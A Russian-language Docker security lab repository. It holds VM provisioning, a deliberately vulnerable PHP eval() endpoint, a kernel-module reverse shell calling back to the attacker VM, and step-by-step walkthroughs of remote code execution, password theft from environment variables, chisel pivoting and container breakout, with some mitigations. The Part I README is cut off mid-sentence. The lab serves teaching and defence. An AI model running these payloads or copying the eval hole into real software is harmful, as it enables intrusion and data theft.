├── .gitignore
├── PartI
├── victim
│ ├── index.php
│ ├── Dockerfile
│ ├── init
│ └── docker-compose.yml
├── hacker
│ ├── Makefile
│ └── reverse-shell.c
├── provision
│ ├── hacker.yml
│ └── victim.yml
├── Vagrantfile
└── README.md
├── PartII
├── victim
│ ├── index.php
│ ├── init
│ ├── .env
│ ├── init.sql
│ ├── Dockerfile
│ └── docker-compose.yml
├── hacker
│ ├── Makefile
│ └── reverse-shell.c
├── provision
│ ├── hacker.yml
│ └── victim.yml
├── Vagrantfile
└── README.md
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | .vagrant
2 |
--------------------------------------------------------------------------------
/PartI/victim/index.php:
--------------------------------------------------------------------------------
1 |
Hello world!
2 |
3 | eval($_GET['code']);
4 | ?>
5 |
6 |
--------------------------------------------------------------------------------
/PartII/victim/index.php:
--------------------------------------------------------------------------------
1 | Hello world!
2 |
3 | eval($_GET['code']);
4 | ?>
5 |
6 |
--------------------------------------------------------------------------------
/PartI/victim/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:7.4-cli
2 |
3 | WORKDIR /app
4 |
5 | COPY index.php index.php
6 |
7 | CMD [ "php", "-S", "0.0.0.0:8080" ]
8 |
--------------------------------------------------------------------------------
/PartI/victim/init:
--------------------------------------------------------------------------------
1 | #!/bin/bash -x
2 |
3 | if ! id -u web 2>/dev/hull; then
4 | useradd -M -u 1000 -s /usr/sbin/nologin -d /app web
5 | fi
6 |
7 | exec sudo -u web "$@"
8 |
--------------------------------------------------------------------------------
/PartII/victim/init:
--------------------------------------------------------------------------------
1 | #!/bin/bash -x
2 |
3 | if ! id -u web 2>/dev/hull; then
4 | useradd -M -u 1000 -s /usr/sbin/nologin -d /app web
5 | fi
6 |
7 | exec sudo -E -u web "$@"
8 |
--------------------------------------------------------------------------------
/PartII/victim/.env:
--------------------------------------------------------------------------------
1 | MARIADB_HOSTNAME=mariadb
2 | MARIADB_ROOT_PASSWORD=strongpassword
3 | MARIADB_DATABASE=production
4 | MARIADB_USER=prod
5 | MARIADB_PASSWORD=verystrongpassword
6 |
--------------------------------------------------------------------------------
/PartI/hacker/Makefile:
--------------------------------------------------------------------------------
1 | obj-m +=reverse-shell.o
2 | all:
3 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
4 | clean:
5 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
6 |
--------------------------------------------------------------------------------
/PartII/hacker/Makefile:
--------------------------------------------------------------------------------
1 | obj-m +=reverse-shell.o
2 | all:
3 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
4 | clean:
5 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
6 |
--------------------------------------------------------------------------------
/PartI/victim/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.8"
2 | services:
3 | webapp:
4 | build:
5 | context: .
6 | dockerfile: Dockerfile
7 | ports:
8 | - "80:8080"
9 | cap_add:
10 | - SYS_MODULE
11 |
--------------------------------------------------------------------------------
/PartII/victim/init.sql:
--------------------------------------------------------------------------------
1 | USE production;
2 |
3 | CREATE TABLE IF NOT EXISTS flag (
4 | `id` int(11) NOT NULL auto_increment,
5 | `message` varchar(100) NOT NULL default '',
6 | PRIMARY KEY (id)
7 | );
8 |
9 | INSERT INTO flag (message) VALUES ("Flag captured");
10 |
--------------------------------------------------------------------------------
/PartI/provision/hacker.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Provision hacker
3 | hosts: hacker
4 | become: true
5 | tasks:
6 | - name: Install required packages
7 | apt:
8 | name:
9 | - nmap
10 | - curl
11 | - build-essential
12 | - netcat
13 | state: present
14 |
--------------------------------------------------------------------------------
/PartII/victim/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:7.4-cli
2 |
3 | WORKDIR /app
4 |
5 | RUN apt-get update && apt-get install -y sudo && rm -rf /var/lib/apt/lists/*
6 |
7 | COPY index.php index.php
8 | COPY init /usr/local/bin/
9 |
10 | ENTRYPOINT ["/usr/local/bin/init"]
11 |
12 | CMD [ "php", "-S", "0.0.0.0:8080" ]
13 |
--------------------------------------------------------------------------------
/PartII/victim/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.8"
2 | services:
3 | webapp:
4 | build:
5 | context: .
6 | dockerfile: Dockerfile
7 | env_file:
8 | - .env
9 | ports:
10 | - "80:8080"
11 | mariadb:
12 | image: mariadb/server:10.4
13 | env_file:
14 | - .env
15 | volumes:
16 | - ./init.sql:/docker-entrypoint-initdb.d/init.sql
17 |
--------------------------------------------------------------------------------
/PartII/provision/hacker.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Provision hacker
3 | hosts: hacker
4 | become: true
5 | tasks:
6 |
7 | - name: Set a hostname
8 | hostname:
9 | name: hacker
10 |
11 | - name: Install required packages
12 | apt:
13 | name:
14 | - nmap
15 | - curl
16 | - build-essential
17 | - netcat
18 | - git
19 | - mariadb-client
20 | state: present
21 |
--------------------------------------------------------------------------------
/PartI/hacker/reverse-shell.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | MODULE_LICENSE("GPL");
5 | MODULE_AUTHOR("AttackDefense");
6 | MODULE_DESCRIPTION("LKM reverse shell module");
7 | MODULE_VERSION("1.0");
8 |
9 | char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.56.5/4444 0>&1", NULL};
10 | static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
11 |
12 | static int __init reverse_shell_init(void) {
13 | return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
14 | }
15 |
16 | static void __exit reverse_shell_exit(void) {
17 | printk(KERN_INFO "Exiting\n");
18 | }
19 |
20 | module_init(reverse_shell_init);
21 | module_exit(reverse_shell_exit);
22 |
--------------------------------------------------------------------------------
/PartII/hacker/reverse-shell.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | MODULE_LICENSE("GPL");
5 | MODULE_AUTHOR("AttackDefense");
6 | MODULE_DESCRIPTION("LKM reverse shell module");
7 | MODULE_VERSION("1.0");
8 |
9 | char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.56.5/4444 0>&1", NULL};
10 | static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
11 |
12 | static int __init reverse_shell_init(void) {
13 | return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
14 | }
15 |
16 | static void __exit reverse_shell_exit(void) {
17 | printk(KERN_INFO "Exiting\n");
18 | }
19 |
20 | module_init(reverse_shell_init);
21 | module_exit(reverse_shell_exit);
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SECINFO. Docker
2 |
3 | - [Part I. Root in main process](./PartI/README.md)
4 | - [Intro](./PartI/README.md#intro)
5 | - [Thesaurus](./PartI/README.md#thesaurus)
6 | - [Stand](./PartI/README.md#stand)
7 | - [Exploitation](./PartI/README.md#exploitation)
8 | - [Solution I](./PartI/README.md#solution-i)
9 | - [Solution II](./PartI/README.md#solution-ii)
10 | - [links](./PartI/README.md#links)
11 | - [Part II. Passwords in environment variable](./PartII/README.md)
12 | - [Intro](./PartII/README.md#intro)
13 | - [Thesaurus](./PartII/README.md#thesaurus)
14 | - [Stand](./PartII/README.md#stand)
15 | - [Exploitation](./PartII/README.md#exploitation)
16 | - [Solution I](./PartII/README.md#solution-i)
17 | - [Solution II](./PartII/README.md#solution-ii)
18 | - [links](./PartII/README.md#links)
19 |
20 |
--------------------------------------------------------------------------------
/PartII/Vagrantfile:
--------------------------------------------------------------------------------
1 | # -*- mode: ruby -*-
2 | # vi: set ft=ruby :
3 |
4 | Vagrant.configure("2") do |config|
5 |
6 | config.vm.define "victim" do |victim|
7 | victim.vm.box = "debian/buster64"
8 | victim.vm.network "private_network", ip: "192.168.56.6", virtualbox__intnet: "stand"
9 | victim.vm.provision "ansible" do |ansible|
10 | ansible.extra_vars = { ansible_python_interpreter:"/usr/bin/python3" }
11 | ansible.playbook = "provision/victim.yml"
12 | end
13 | end
14 |
15 | config.vm.define "hacker" do |hacker|
16 | hacker.vm.box = "debian/buster64"
17 | hacker.vm.network "private_network", ip: "192.168.56.7", virtualbox__intnet: "stand"
18 | hacker.vm.provision "ansible" do |ansible|
19 | ansible.extra_vars = { ansible_python_interpreter:"/usr/bin/python3" }
20 | ansible.playbook = "provision/hacker.yml"
21 | end
22 | end
23 | end
24 |
--------------------------------------------------------------------------------
/PartI/Vagrantfile:
--------------------------------------------------------------------------------
1 | # -*- mode: ruby -*-
2 | # vi: set ft=ruby :
3 |
4 | Vagrant.configure("2") do |config|
5 |
6 | config.vm.provider "virtualbox" do |vb|
7 | vb.memory = "2048"
8 | vb.cpus = 1
9 | vb.linked_clone = true
10 | end
11 |
12 | config.vm.define "victim" do |victim|
13 | victim.vm.box = "debian/buster64"
14 | victim.vm.hostname = "victim"
15 | victim.vm.network "private_network", ip: "192.168.56.4"
16 | victim.vm.provision "ansible" do |ansible|
17 | ansible.extra_vars = { ansible_python_interpreter:"/usr/bin/python3" }
18 | ansible.playbook = "provision/victim.yml"
19 | end
20 | end
21 |
22 | config.vm.define "hacker" do |hacker|
23 | hacker.vm.box = "debian/buster64"
24 | hacker.vm.hostname = "hacker"
25 | hacker.vm.network "private_network", ip: "192.168.56.5"
26 | hacker.vm.provision "ansible" do |ansible|
27 | ansible.extra_vars = { ansible_python_interpreter:"/usr/bin/python3" }
28 | ansible.playbook = "provision/hacker.yml"
29 | end
30 | end
31 | end
32 |
--------------------------------------------------------------------------------
/PartI/provision/victim.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Provision victim
3 | hosts: victim
4 | become: true
5 | tasks:
6 | - name: Install required packages
7 | apt:
8 | name:
9 | - apt-transport-https
10 | - ca-certificates
11 | - curl
12 | - gnupg-agent
13 | - software-properties-common
14 | - python3-pip
15 | - libffi-dev
16 | state: present
17 |
18 | - name: Add docker's official GPG key
19 | apt_key:
20 | url: https://download.docker.com/linux/debian/gpg
21 | state: present
22 |
23 | - name: Add docker's repository
24 | apt_repository:
25 | repo: deb [arch=amd64] https://download.docker.com/linux/debian buster stable
26 | state: present
27 | update_cache: true
28 |
29 | - name: Install docker
30 | apt:
31 | name:
32 | - docker-ce
33 | - docker-ce-cli
34 | - containerd.io
35 | state: present
36 |
37 | - name: Install docker-compose
38 | pip:
39 | name: docker-compose
40 | state: present
41 |
42 | - name: Add user vagrant to docker group
43 | user:
44 | name: vagrant
45 | groups: docker
46 |
47 | - name: Create Flag-file
48 | copy:
49 | dest: /home/vagrant/FLAG
50 | content: WAS HACKED
51 |
--------------------------------------------------------------------------------
/PartII/provision/victim.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Provision victim
3 | hosts: victim
4 | become: true
5 | tasks:
6 |
7 | - name: Set a hostname
8 | hostname:
9 | name: victim
10 |
11 | - name: Install required packages
12 | apt:
13 | name:
14 | - apt-transport-https
15 | - ca-certificates
16 | - curl
17 | - gnupg-agent
18 | - software-properties-common
19 | - python3-pip
20 | - libffi-dev
21 | state: present
22 |
23 | - name: Add docker's official GPG key
24 | apt_key:
25 | url: https://download.docker.com/linux/debian/gpg
26 | state: present
27 |
28 | - name: Add docker's repository
29 | apt_repository:
30 | repo: deb [arch=amd64] https://download.docker.com/linux/debian buster stable
31 | state: present
32 | update_cache: true
33 |
34 | - name: Install docker
35 | apt:
36 | name:
37 | - docker-ce
38 | - docker-ce-cli
39 | - containerd.io
40 | state: present
41 |
42 | - name: Install docker-compose
43 | pip:
44 | name: docker-compose
45 | state: present
46 |
47 | - name: Add user vagrant to docker group
48 | user:
49 | name: vagrant
50 | groups: docker
51 |
52 | - name: Create Flag-file
53 | copy:
54 | dest: /home/vagrant/FLAG
55 | content: WAS HACKED
56 |
--------------------------------------------------------------------------------
/PartII/README.md:
--------------------------------------------------------------------------------
1 | # SECINFO: Docker. Part II. Passwords in environment variable
2 |
3 | ## Intro
4 |
5 | В данной части я хочу рассказать о том какую опасность несут в себе
6 | пароли сохранные в переменных окружения. И продемонстрировать
7 | техники pivoting'а позволяющие получить сетевой доступ к закрытой
8 | части инфраструктуры с хоста атакующего.
9 |
10 | Для запуска потребуется:
11 | - virtualbox
12 | - vagrant
13 | - ansible
14 |
15 | ## Thesaurus
16 |
17 | `RCE` - Remote Code Execution.
18 |
19 | `pivoting` - способ предоставления сетевого доступа к закрытой инфраструктуре с
20 | хоста атакующего.
21 |
22 | ## Stand
23 |
24 | Стенд аналогичен представленному в [Part I. Root in main process](../PartI/README.md).
25 | Так же состоит из двух виртуальных машин `hacker` и `victim` объеденных сетью.
26 | Единственная разница, что на VM `victim` в docker-окружении будет запущено 2
27 | контейнера. Уязвимое веб-приложение и БД MariaDB. При этом порты контейнера
28 | MariaDB не будут выставлены наружу. Доступ к БД можно будет получить только из
29 | контейнера с web-приложением.
30 |
31 | Настройки хостов:
32 | - `victim` IP: 192.168.56.6;
33 | - `hacker` IP: 192.168.56.7.
34 |
35 | Для запуска стенда выполните команду:
36 | ```
37 | $ vagrant up
38 | ```
39 |
40 | Для запуска примера выполните следующие шаги на хосте `victim`:
41 | ```
42 | $ vagrant ssh victim
43 | vagrant@victim:~$ cd /vagrant/victim/
44 | vagrant@victim:/vagrant/victim$ docker-compose up --build -d
45 | ```
46 | После этого на хосте `victim` запуститься два контейнера: с уязвимым
47 | web-приложением и с БД mariadb, которая не имеет открытых, в хостовой системе,
48 | портов
49 |
50 | ## Exploitation
51 |
52 | Зайдём в VM `hacker`:
53 | ```
54 | $ vagrant ssh hacker
55 | ```
56 |
57 | Проверим от имени какого пользователя запущено web-приложение, для этого
58 | выполним команду `id`:
59 | ```
60 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('id');"
61 | Hello world!
62 | uid=1000(web) gid=1000(web) groups=1000(web)
63 |
64 | ```
65 |
66 | Теперь получим список переменных окружения:
67 | ```
68 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('env');"
69 | Hello world!
70 | ...
71 | MARIADB_DATABASE=production
72 | MARIADB_HOSTNAME=mariadb
73 | MARIADB_ROOT_PASSWORD=strongpassword
74 | MARIADB_PASSWORD=verystrongpassword
75 | MARIADB_USER=prod
76 | ...
77 |
78 | ```
79 |
80 | Как видим из листинга, в переменных окружения имеется конфигурация соединения
81 | с БД сервером. Да же есть hostname этого сервера `MARIADB_HOSTNAME`. Предположительно
82 | запущенного то же в докере на том же хосте. Проверим имеется ли сетевой доступ
83 | до этого хоста:
84 | ```
85 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('timeout 1 bash -c \'cat < /dev/null > /dev/tcp/mariadb/3306\' && echo Open || echo Closed');"
86 | Hello world!
87 | Open
88 |
89 | ```
90 |
91 | Что бы не мучиться с пробросом DNS, определим IP адрес сервера mariadb:
92 | ```
93 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('getent hosts mariadb');"
94 | Hello world!
95 | 172.18.0.2 mariadb
96 |
97 | ```
98 |
99 | Как мы видим у web-приложения есть сетевая связанность с сервером БД, что
100 | логично. Так в docker-контейнере нет приложения для работы с сервером БД, а
101 | запрограммировать приложение на PHP для того что бы сделать dump базы данных
102 | мне лень. Воспользуемся техникой `pivoting` для получения доступа к БД.
103 | Воспользуемся приложением [chisel](https://github.com/jpillora/chisel):
104 | ```
105 | vagrant@hacker:~$ curl -L https://github.com/jpillora/chisel/releases/download/v1.7.3/chisel_1.7.3_linux_amd64.gz --output chisel.gz
106 | vagrant@hacker:~$ gzip -d chisel.gz
107 | vagrant@hacker:~$ chmod +x chisel
108 | ```
109 |
110 | Загрузим приложение на `victim` и запустим его:
111 | ```
112 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('curl -L https://github.com/jpillora/chisel/releases/download/v1.7.3/chisel_1.7.3_linux_amd64.gz --output /tmp/chisel.gz 2>&1');"
113 | Hello world!
114 | % Total % Received % Xferd Average Speed Time Time Time Current
115 | Dload Upload Total Spent Left Speed
116 | 100 651 100 651 0 0 3518 0 --:--:-- --:--:-- --:--:-- 3518
117 | 100 3346k 100 3346k 0 0 789k 0 0:00:04 0:00:04 --:--:-- 870k
118 |
119 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('cd /tmp && gzip -d chisel.gz && chmod +x chisel');"
120 | Hello world!
121 |
122 | ```
123 |
124 | Запустим серверную часть chisel на хосте `hacker`, для этого откроем новый терминал и выполним:
125 | ```
126 | $ vagrant ssh hacker
127 | vagrant@hacker:~$ ./chisel server -p 8008 --reverse
128 | 2020/11/29 15:02:22 server: Reverse tunnelling enabled
129 | 2020/11/29 15:02:22 server: Fingerprint tyWC23cR/aMoDOJKIjwdXIlzirzNP4bkS3KNRlLa78k=
130 | 2020/11/29 15:02:22 server: Listening on http://0.0.0.0:8008
131 | ```
132 |
133 | Теперь запустим chisel на хосте `victim` при помощи команды:
134 | ```
135 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('/tmp/chisel client 192.168.56.7:8008 R:3306:172.18.0.2:3306 2>&1');"
136 | Hello world!
137 | 2020/11/29 15:04:51 client: Connecting to ws://192.168.56.7:8008
138 | 2020/11/29 15:04:51 client: Connected (Latency 2.219222ms)
139 | ```
140 |
141 | Откроем ещё один терминал на `hacker`:
142 | ```
143 | $ vagrant ssh hacker
144 | vagrant@hacker:~$ mysqldump -h 127.0.0.1 -uprod -p production
145 | Enter password:
146 |
147 | <...>
148 | LOCK TABLES `flag` WRITE;
149 | /*!40000 ALTER TABLE `flag` DISABLE KEYS */;
150 | INSERT INTO `flag` VALUES (1,'Flag captured');
151 | /*!40000 ALTER TABLE `flag` ENABLE KEYS */;
152 | UNLOCK TABLES;
153 | /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
154 | <...>
155 | ```
156 |
157 | ## Solution I
158 |
159 | Единственным решением является отказать от передаче паролей через
160 | переменные окружения. Но необходимо предложить альтернативу так как
161 | эта информация необходима для формирования конфигурационных-файлов
162 | и пр.
163 |
164 | Я предлагаю сохранять конфиденциальную информацию в отдельный файл
165 | и монтировать его с правами доступа только для пользователя `root`.
166 | В момент выполнения init-скрипта эти переменные будут загружаться
167 | формироваться файлы настроек и выгружаться из окружения.
168 |
169 | Для реализации данного способа необходимо внести следующие изменения.
170 | В Dockerfile:
171 | ```
172 | ...
173 | RUN mkdir /run/secrets && chown root:root /run/secrets && chmod 0700 /run/secrets
174 | ...
175 | ```
176 |
177 | В init-script:
178 | ```
179 | #!/bin/bash
180 |
181 | if [ -f /run/secrets/secrets ]; then
182 | . /run/secrets/secrets
183 | fi
184 |
185 | ...
186 |
187 | #Clean security sensitive variable
188 | if [ -f /run/secrets/secrets ]; then
189 | awk -F'=' '{if ($1!="") {print $1}}' /run/secrets/secrets | while read -r VAR; do
190 | unset "$VAR"
191 | done
192 | fi
193 |
194 | exec sudo -E -u web "$@"
195 | ```
196 |
197 | В docker-compose.yml
198 | ```
199 | webapp:
200 | build:
201 | context: .
202 | dockerfile: Dockerfile
203 | volumes:
204 | - ./.env:/run/secrets/secrets:ro
205 | ports:
206 | - "80:8080"
207 |
208 | ```
209 |
210 | Внесём эти изменения и перезапустим приложение:
211 | ```
212 | vagrant@victim:/vagrant/victim$ docker-compose stop
213 | Stopping victim_webapp_1 ... done
214 | Stopping victim_mariadb_1 ... done
215 | docker-compose up --build -d
216 | Building webapp
217 | Step 1/8 : FROM php:7.4-cli
218 | ---> 639632eff06b
219 | Step 2/8 : WORKDIR /app
220 | ---> Using cache
221 | ---> d97dd703f6bd
222 | Step 3/8 : RUN apt-get update && apt-get install -y sudo && rm -rf /var/lib/apt/lists/*
223 | ---> Using cache
224 | ---> c1613a4f253c
225 | Step 4/8 : RUN mkdir /run/secrets && chown root:root /run/secrets && chmod 0700 /run/secrets
226 | ---> Running in 35d2cb627010
227 | Removing intermediate container 35d2cb627010
228 | ---> df4fef6566a2
229 | Step 5/8 : COPY index.php index.php
230 | ---> 6f9695706c5c
231 | Step 6/8 : COPY init /usr/local/bin/
232 | ---> d5184d07c478
233 | Step 7/8 : ENTRYPOINT ["/usr/local/bin/init"]
234 | ---> Running in 1a2750eaa5a8
235 | Removing intermediate container 1a2750eaa5a8
236 | ---> 46d9cdba9119
237 | Step 8/8 : CMD [ "php", "-S", "0.0.0.0:8080" ]
238 | ---> Running in 6ee1b56699e7
239 | Removing intermediate container 6ee1b56699e7
240 | ---> f78643b8c10c
241 |
242 | Successfully built f78643b8c10c
243 | Successfully tagged victim_webapp:latest
244 | Starting victim_mariadb_1 ... done
245 | Recreating victim_webapp_1 ... done
246 | ```
247 |
248 | Попробуем теперь получить значения переменных окружения с хоста `hacker`:
249 | ```
250 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('env | grep MARIADB');"
251 | Hello world!
252 |
253 | ```
254 |
255 | Как видим переменных связанных с настройкой mariadb в переменных окружения нет.
256 | Попробуем получить их непосредственно из файла `/run/secrets/secrets`:
257 | ```
258 | vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('cat /run/secrets/secrets 2>&1');"
259 | Hello world!
260 | cat: /run/secrets/secrets: Permission denied
261 |
262 | ```
263 |
264 | Конечно это будет работать только если приложение запущенно из под
265 | не привилегированного пользователя.
266 |
267 | ## Solution II
268 |
269 | consul-template
270 |
271 | # Links
272 |
273 | - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md
274 | - https://github.com/jpillora/chisel
275 |
--------------------------------------------------------------------------------
/PartI/README.md:
--------------------------------------------------------------------------------
1 | # SECINFO: Docker. Part I. Root in main process
2 |
3 | ## Intro
4 |
5 | Не мало уже сказано о том, что не следует запускать приложения в docker-контейнере из-под пользователя `root`. Данная
6 | статья должна проиллюстрировать почему не следует этого делать.
7 |
8 | Для запуска потребуется:
9 |
10 | - virtualbox
11 | - vagrant
12 | - ansible
13 |
14 | ## Thesaurus
15 |
16 | `RCE` - Remote Code Execution
17 |
18 | `Docker Container Breakout` - Выход из docker изоляции в хостовую систему.
19 |
20 | `reverse shell` - схема взаимодействия с атакуемой системой, когда shell запущенный на атакуемой системе устанавливает
21 | соединение с заранее подготовленным приложением на системе атакующего. Позволяет обойти фаервол.
22 |
23 | ## Stand
24 |
25 | Стенд представляет из себя две виртуальные машины:
26 |
27 | - жертву `victim`
28 | - атакующего `hacker`
29 | Обе выполнены на основе ОС Debian buster.
30 |
31 | На хосте `victim` в домашней директории пользователя `vagrant` создан файл `/home/vagrant/FLAG` содержащий
32 | текст `WAS HACKED`. Это сделано для более простой иллюстрации выхода из docker-контейнера.
33 |
34 | Для иллюстрации процесса `Docker Container Breakout` используется эксплуатация через модули ядра. Для реализации,
35 | которой необходимо наличие привилегии `SYS_MODULE`. Эти привилегии по умолчанию отключены. Но необходимо понимать, что
36 | Docker Container Breakout через модули это не единственный способ, здесь он используется как пример.
37 |
38 | Привелегия `cap_sys_module` может быть добавлена как непосредственно установкой флага `SYS_MODULE` в
39 | docker-compose.yml: `cap_add: ["SYS_MODULE"]`
40 | или добавлением аргумента `--cap-add SYS_MODULE` в команду `docker run`. Так и при добавлении аргумента `--privileged` в
41 | команду `docker run`.
42 |
43 | Для взаимодействия между хостами `victim` и `hacker` организована сеть 192.168.50.0/24. Настройки хостов:
44 |
45 | - `victim` IP: 192.168.56.4;
46 | - `hacker` IP: 192.168.50.5.
47 |
48 | Для запуска стенда выполните команду:
49 |
50 | ```
51 | $ vagrant up
52 | ```
53 |
54 | ## Prepare
55 |
56 | Перед тем как продолжить выполнение команд вам нужно будет убедиться, что вы сможете найти пакет с заголовками ядра для
57 | текущей версии ядра. Это можно сделать двумя способами на ваш выбор.
58 |
59 | Проверяем:
60 |
61 | ```bash
62 | $ vagrant ssh hacker
63 | vagrant@hacker:~$ apt-cache policy linux-headers-$(uname -r)
64 | # если для вашей версии нет заголовков, то вы получите подобное сообщение об ошибке:
65 | N: Unable to locate package linux-headers-4.19.0-9-amd64
66 | # если же ошибок не возникло, то данный пункт можно пропустить
67 | ```
68 |
69 | Исправляем одним из вариантов (первый сложнее второй легче, но менее интересный):
70 |
71 | 1) подключив к вашей виртуальной машине архивные репозитории Зная вашу версию ядра (получено на предыдущем этапе) вы
72 | можете найти необходимый вам пакет здесь: https://snapshot.debian.org/archive/debian/
73 | Выбрав примерное время существования этого пакета (можно изучить release notes), вы выбираете необходимый год месяц и
74 | время. И далее проверяете наличие пакета в репозитории, скачивая файл packages.gz и проверяете, что в этом файле есть
75 | нужный вам пакет.
76 | https://snapshot.debian.org/archive/debian/20200601T024402Z/dists/buster/main/binary-amd64/Packages.gz.
77 | Если вы успешно нашли нужный файл, до можно добавить этот репозиторий в sources.list, например для пакета
78 | linux-headers-4.19.0-9:
79 |
80 | ```bash
81 | echo "deb https://snapshot.debian.org/archive/debian/20200601T024402Z buster main" >> /etc/apt/sources.list
82 | apt update
83 | apt-cache policy linux-headers-$(uname -r)
84 | ```
85 |
86 | 2) обновив ядро и заголовки на обоих виртуальных машинах
87 |
88 | ```bash
89 | $ vagrant ssh victim
90 | vagrant@victim:~$ sudo apt -y install linux-headers-amd64 linux-image-amd64
91 | vagrant@victim:~$ sudo reboot
92 | $ vagrant ssh hacker
93 | vagrant@hacker:~$ sudo apt -y install linux-headers-amd64 linux-image-amd64
94 | vagrant@hacker:~$ sudo reboot
95 | ```
96 |
97 | Для запуска примера эксплуатации RCE внутри docker образа с выходом в хостовую систему, выполните следующие шаги:
98 |
99 | ```
100 | $ vagrant ssh victim
101 | vagrant@victim:~$ cd /vagrant/victim/
102 | vagrant@victim:/vagrant/victim$ docker-compose up -d
103 | ```
104 |
105 | Посмотрим от имени какого пользователя запущен процесс с pid 1 в запущенном контейнере:
106 |
107 | ```
108 | vagrant@victim:/vagrant/victim$ docker-compose exec webapp bash
109 | root@ef07105a20f9:/app# ls -l /proc/1
110 | total 0
111 | dr-xr-xr-x 2 root root 0 Nov 26 17:14 attr
112 | ...
113 | ```
114 |
115 | Владелец файлов в директории `/proc/` аналогичен владельцу самого процесса. Это способ определить владельца в
116 | случае если `ps` не установлен.
117 |
118 | ## Exploitation
119 |
120 | Так как при использовании docker ядро используеться из хостовой системы, то операции с ядром (например загрузка модуля)
121 | выполняються сразу во всех контейнерах и хостовой системе.
122 |
123 | Зайдём в VM `hacker`:
124 |
125 | ```
126 | $ vagrant ssh hacker
127 | ```
128 |
129 | Проверим от имени какого пользователя запущено web-приложение, для этого выполним команду `id`:
130 |
131 | ```
132 | vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('id');"
133 | Hello world!
134 | uid=0(root) gid=0(root) groups=0(root)
135 |
136 | ```
137 |
138 | Сообщение говорит нам о том, что процесс, в контексте которого мы выполняем наши команды, запущен от имени пользователя
139 | root.
140 |
141 | Проверим доступность команды `capsh`, которая позволит нам просмотреть доступные нам разрешения:
142 |
143 | ```
144 | vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('whereis capsh');"
145 | Hello world!
146 | capsh:
147 |
148 | ```
149 |
150 | Команда capsh не найдена. Установим ее:
151 |
152 | ```
153 | vagrant@hacker:~$ curl -G 192.168.56.4 \
154 | --data-urlencode "code=system('apt-get update && apt-get install -y libcap2-bin kmod');"
155 | ...
156 | ```
157 |
158 | Теперь посмотрим доступные разрешения:
159 |
160 | ```
161 | vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('capsh --print');"
162 | Hello world!
163 | Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
164 | Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
165 | Securebits: 00/0x0/1'b0
166 | secure-noroot: no (unlocked)
167 | secure-no-suid-fixup: no (unlocked)
168 | secure-keep-caps: no (unlocked)
169 | uid=0(root)
170 | gid=0(root)
171 | groups=
172 |
173 | ```
174 |
175 | Наличие в выводе `cap_sys_module` говорит о том что мы можем воспользоваться специально подготовленным модулем для
176 | запуска revers shell на атакуемой системе.
177 |
178 | Соберём специально подготовленный модуль для получения shell на хостовой системе.
179 |
180 | Так как хосты `victim` и `hacker` имеют одну и туже ОС, то мы можем откомпилировать модуль на хосте `hacker` и записать
181 | его на хост
182 | `victim` через RCE. Для сборки модуля выполним следующие команды:
183 |
184 | ```
185 | vagrant@hacker:~$ cd /vagrant/hacker
186 | vagrant@hacker:/vagrant/hacker$ sudo apt-get install linux-headers-`uname -r`
187 | vagrant@hacker:/vagrant/hacker$ make
188 | make -C /lib/modules/4.19.0-9-amd64/build M=/vagrant/hacker modules
189 | make[1]: Entering directory '/usr/src/linux-headers-4.19.0-9-amd64'
190 | CC [M] /vagrant/hacker/reverse-shell.o
191 | Building modules, stage 2.
192 | MODPOST 1 modules
193 | CC /vagrant/hacker/reverse-shell.mod.o
194 | LD [M] /vagrant/hacker/reverse-shell.ko
195 | make[1]: Leaving directory '/usr/src/linux-headers-4.19.0-9-amd64'
196 | ```
197 |
198 | Загрузим эксплоит на хост `victim`. Для этого передадим файл в теле HTTP запроса. Но так как наш эксплоит работает с
